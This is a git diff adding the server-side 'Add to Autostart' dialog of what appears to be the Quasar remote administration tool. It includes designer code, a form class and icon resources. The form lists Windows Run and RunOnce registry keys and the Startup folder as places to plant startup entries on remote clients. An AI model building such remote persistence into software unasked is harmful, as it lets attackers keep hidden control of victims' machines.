/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.Designer.cs new file mode 100755 index 0000000..ab94839 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.Designer.cs @@ -0,0 +1,175 @@ +namespace Quasar.Server.Forms +{ + partial class FrmStartupAdd + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd)); + this.groupAutostartItem = new System.Windows.Forms.GroupBox(); + this.lblType = new System.Windows.Forms.Label(); + this.cmbType = new System.Windows.Forms.ComboBox(); + this.txtPath = new System.Windows.Forms.TextBox(); + this.txtName = new System.Windows.Forms.TextBox(); + this.lblPath = new System.Windows.Forms.Label(); + this.lblName = new System.Windows.Forms.Label(); + this.btnAdd = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.groupAutostartItem.SuspendLayout(); + this.SuspendLayout(); + // + // groupAutostartItem + // + this.groupAutostartItem.Controls.Add(this.lblType); + this.groupAutostartItem.Controls.Add(this.cmbType); + this.groupAutostartItem.Controls.Add(this.txtPath); + this.groupAutostartItem.Controls.Add(this.txtName); + this.groupAutostartItem.Controls.Add(this.lblPath); + this.groupAutostartItem.Controls.Add(this.lblName); + this.groupAutostartItem.Location = new System.Drawing.Point(12, 12); + this.groupAutostartItem.Name = "groupAutostartItem"; + this.groupAutostartItem.Size = new System.Drawing.Size(653, 105); + this.groupAutostartItem.TabIndex = 0; + this.groupAutostartItem.TabStop = false; + this.groupAutostartItem.Text = "Autostart Item"; + // + // lblType + // + this.lblType.AutoSize = true; + this.lblType.Location = new System.Drawing.Point(35, 74); + this.lblType.Name = "lblType"; + this.lblType.Size = new System.Drawing.Size(33, 13); + this.lblType.TabIndex = 4; + this.lblType.Text = "Type:"; + // + // cmbType + // + this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbType.FormattingEnabled = true; + this.cmbType.Location = new System.Drawing.Point(74, 71); + this.cmbType.Name = "cmbType"; + this.cmbType.Size = new System.Drawing.Size(573, 21); + this.cmbType.TabIndex = 5; + this.toolTip1.SetToolTip(this.cmbType, "Remote Type of Autostart Item."); + // + // txtPath + // + this.txtPath.Location = new System.Drawing.Point(74, 43); + this.txtPath.Name = "txtPath"; + this.txtPath.Size = new System.Drawing.Size(573, 22); + this.txtPath.TabIndex = 3; + this.toolTip1.SetToolTip(this.txtPath, "Remote Path to Autostart Item."); + this.txtPath.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPath_KeyPress); + // + // txtName + // + this.txtName.Location = new System.Drawing.Point(74, 15); + this.txtName.MaxLength = 64; + this.txtName.Name = "txtName"; + this.txtName.Size = new System.Drawing.Size(573, 22); + this.txtName.TabIndex = 1; + this.txtName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtName_KeyPress); + // + // lblPath + // + this.lblPath.AutoSize = true; + this.lblPath.Location = new System.Drawing.Point(35, 46); + this.lblPath.Name = "lblPath"; + this.lblPath.Size = new System.Drawing.Size(33, 13); + this.lblPath.TabIndex = 2; + this.lblPath.Text = "Path:"; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(29, 18); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(39, 13); + this.lblName.TabIndex = 0; + this.lblName.Text = "Name:"; + // + // btnAdd + // + this.btnAdd.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.btnAdd.Location = new System.Drawing.Point(576, 123); + this.btnAdd.Name = "btnAdd"; + this.btnAdd.Size = new System.Drawing.Size(89, 23); + this.btnAdd.TabIndex = 1; + this.btnAdd.Text = "&Add"; + this.btnAdd.UseVisualStyleBackColor = true; + this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click); + // + // btnCancel + // + this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.btnCancel.Location = new System.Drawing.Point(449, 123); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(89, 23); + this.btnCancel.TabIndex = 2; + this.btnCancel.Text = "&Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FrmAddToAutostart + // + this.AcceptButton = this.btnAdd; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.btnCancel; + this.ClientSize = new System.Drawing.Size(677, 158); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnAdd); + this.Controls.Add(this.groupAutostartItem); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmAddToAutostart"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Add to Autostart"; + this.groupAutostartItem.ResumeLayout(false); + this.groupAutostartItem.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupAutostartItem; + private System.Windows.Forms.TextBox txtPath; + private System.Windows.Forms.TextBox txtName; + private System.Windows.Forms.Label lblPath; + private System.Windows.Forms.Label lblName; + private System.Windows.Forms.ComboBox cmbType; + private System.Windows.Forms.Label lblType; + private System.Windows.Forms.Button btnAdd; + private System.Windows.Forms.Button btnCancel; + private System.Windows.Forms.ToolTip toolTip1; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.cs new file mode 100755 index 0000000..032be43 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.cs @@ -0,0 +1,73 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Models; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmStartupAdd : Form + { + public StartupItem StartupItem { get; set; } + + public FrmStartupAdd() + { + InitializeComponent(); + AddTypes(); + } + + public FrmStartupAdd(string startupPath) + { + InitializeComponent(); + AddTypes(); + + txtName.Text = Path.GetFileNameWithoutExtension(startupPath); + txtPath.Text = startupPath; + } + + /// + /// Adds all supported startup types to ComboBox groups. + /// + /// + /// Must be in same order as . + /// + private void AddTypes() + { + // must be in same order as StartupType + cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); + cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); + cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); + cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); + cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); + cmbType.SelectedIndex = 0; + } + + private void btnAdd_Click(object sender, EventArgs e) + { + StartupItem = new StartupItem + {Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex}; + + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.DialogResult = DialogResult.Cancel; + this.Close(); + } + + private void txtName_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtPath_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.resx new file mode 100755 index 0000000..09d9a97 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + 